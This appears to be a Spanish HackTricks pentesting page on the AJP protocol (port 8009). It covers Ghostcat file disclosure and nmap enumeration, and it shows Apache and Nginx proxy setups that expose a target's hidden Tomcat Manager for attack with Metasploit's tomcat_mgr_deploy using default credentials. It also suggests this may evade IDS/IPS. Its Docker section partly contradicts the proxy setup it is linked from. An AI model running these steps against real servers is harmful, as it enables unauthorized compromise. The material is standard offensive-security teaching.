hacktricks/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md

255 lines
14 KiB
Markdown

# 8009 - Pentesting Protocolo Apache JServ (AJP)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
## Información básica
De: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
> AJP es un protocolo de comunicación. Es una versión optimizada del protocolo HTTP que permite que un servidor web independiente como [Apache](http://httpd.apache.org/) se comunique con Tomcat. Históricamente, Apache ha sido mucho más rápido que Tomcat para servir contenido estático. La idea es permitir que Apache sirva el contenido estático cuando sea posible, pero que redirija la solicitud a Tomcat para el contenido relacionado con Tomcat.
También es interesante:
> El protocolo ajp13 está orientado a paquetes. Se eligió un formato binario en lugar del texto plano más legible por razones de rendimiento. El servidor web se comunica con el contenedor de servlets a través de conexiones TCP. Para reducir el costoso proceso de creación de sockets, el servidor web intentará mantener conexiones TCP persistentes con el contenedor de servlets y reutilizar una conexión para múltiples ciclos de solicitud/respuesta.
**Puerto predeterminado:** 8009
```
PORT STATE SERVICE
8009/tcp open ajp13
```
## CVE-2020-1938 ['Ghostcat'](https://www.chaitin.cn/en/ghostcat)
Si el puerto AJP está expuesto, Tomcat podría ser susceptible a la vulnerabilidad Ghostcat. Aquí hay un [exploit](https://www.exploit-db.com/exploits/48143) que funciona con este problema.
Ghostcat es una vulnerabilidad de LFI, pero algo restringida: solo se pueden extraer archivos de una cierta ruta. Aún así, esto puede incluir archivos como `WEB-INF/web.xml` que pueden filtrar información importante como credenciales para la interfaz de Tomcat, dependiendo de la configuración del servidor.
Las versiones parcheadas en o por encima de 9.0.31, 8.5.51 y 7.0.100 han solucionado este problema.
## Enumeración
### Automática
```bash
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
```
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#ajp)
## Proxy AJP
### Proxy AJP de Apache
No es común encontrar el puerto 8009 abierto y ningún otro puerto web abierto. En ese caso, sería bueno poder utilizar herramientas existentes como Metasploit para aprovecharlo, ¿verdad? Como se menciona en una de las citas, se puede (ab)usar Apache para redirigir las solicitudes al puerto 8009 de Tomcat. En las referencias encontrarás una guía detallada de cómo hacerlo (léela primero), lo siguiente es solo un resumen de los comandos que utilicé en mi propia máquina. Omití algunas de las instrucciones originales ya que no parecían ser necesarias.
```bash
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass / ajp://HOST:8009/
ProxyPassReverse / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2
```
Un efecto secundario positivo de utilizar esta configuración es que podrías frustrar los sistemas IDS/IPS que estén en su lugar, ya que el protocolo AJP es en cierta medida binario, pero no he verificado esto. Ahora simplemente puedes dirigir tu exploit de tomcat regular de metasploit a 127.0.0.1:80 y tomar el control de ese sistema. Aquí también está la salida de metasploit:
```bash
msf exploit(tomcat_mgr_deploy) > show options
Module options (exploit/multi/http/tomcat_mgr_deploy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD tomcat no The password for the specified username
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
Proxies no Use a proxy chain
RHOST localhost yes The target address
RPORT 80 yes The target port
USERNAME tomcat no The username to authenticate as
VHOST no HTTP server virtual host
```
### Proxy Inverso de Nginx y AJP
[Ver la versión Dockerizada](#Versión-Dockerizada)
Cuando nos encontramos con un puerto proxy AJP abierto (8009 TCP), podemos utilizar Nginx con el módulo `ajp_module` para acceder al "oculto" Tomcat Manager. Esto se puede hacer compilando el código fuente de Nginx y agregando el módulo requerido, de la siguiente manera:
* Descargar el código fuente de Nginx
* Descargar el módulo requerido
* Compilar el código fuente de Nginx con el `ajp_module`.
* Crear un archivo de configuración que apunte al puerto AJP.
```bash
# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz
# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
```
Comenta todo el bloque `server` y agrega las siguientes líneas dentro del bloque `http` en `/etc/nginx/conf/nginx.conf`.
```shell-session
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
```
Inicie Nginx y verifique si todo está funcionando correctamente emitiendo una solicitud cURL a su host local.
```html
sudo nginx
curl http://127.0.0.1:80
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>
```
### Versión en Docker
La versión en Docker del protocolo Apache JServ (AJP) es una forma conveniente de ejecutar y probar este protocolo en un entorno aislado. Docker es una plataforma de contenedores que permite empaquetar una aplicación y todas sus dependencias en un contenedor ligero y portátil.
Para crear una versión en Docker del protocolo AJP, primero debemos crear un archivo Dockerfile. Este archivo contiene las instrucciones para construir la imagen del contenedor. A continuación se muestra un ejemplo de un Dockerfile básico para el protocolo AJP:
```dockerfile
FROM ubuntu:latest
# Instalar dependencias
RUN apt-get update && apt-get install -y apache2
# Copiar archivos de configuración
COPY ajp.conf /etc/apache2/conf-available/
# Habilitar el módulo AJP
RUN a2enconf ajp
# Exponer el puerto 8009
EXPOSE 8009
# Iniciar el servidor Apache
CMD ["apache2ctl", "-D", "FOREGROUND"]
```
En este ejemplo, utilizamos una imagen base de Ubuntu y luego instalamos Apache2 y sus dependencias. Luego, copiamos un archivo de configuración llamado `ajp.conf` a la ubicación adecuada en el contenedor. A continuación, habilitamos el módulo AJP en la configuración de Apache y exponemos el puerto 8009 para que pueda ser accedido desde fuera del contenedor. Por último, iniciamos el servidor Apache en primer plano.
Una vez que tengamos el Dockerfile, podemos construir la imagen del contenedor utilizando el siguiente comando:
```bash
docker build -t ajp-server .
```
Esto creará una imagen llamada `ajp-server` basada en el Dockerfile. A continuación, podemos ejecutar un contenedor basado en esta imagen utilizando el siguiente comando:
```bash
docker run -d -p 8009:8009 ajp-server
```
Esto ejecutará un contenedor en segundo plano y mapeará el puerto 8009 del contenedor al puerto 8009 del host. Ahora podemos acceder al servidor AJP en `localhost:8009` desde fuera del contenedor.
La versión en Docker del protocolo AJP es una forma conveniente de ejecutar y probar este protocolo sin tener que instalar y configurar manualmente un servidor Apache en nuestro sistema. Además, al ejecutar el protocolo AJP en un contenedor aislado, podemos asegurarnos de que no haya conflictos con otros servicios o aplicaciones en nuestro sistema.
```bash
git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker
```
Reemplace `TARGET-IP` en `nginx.conf` con la IP de AJP, luego compile y ejecute.
``` bash
docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy
```
## Referencias
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>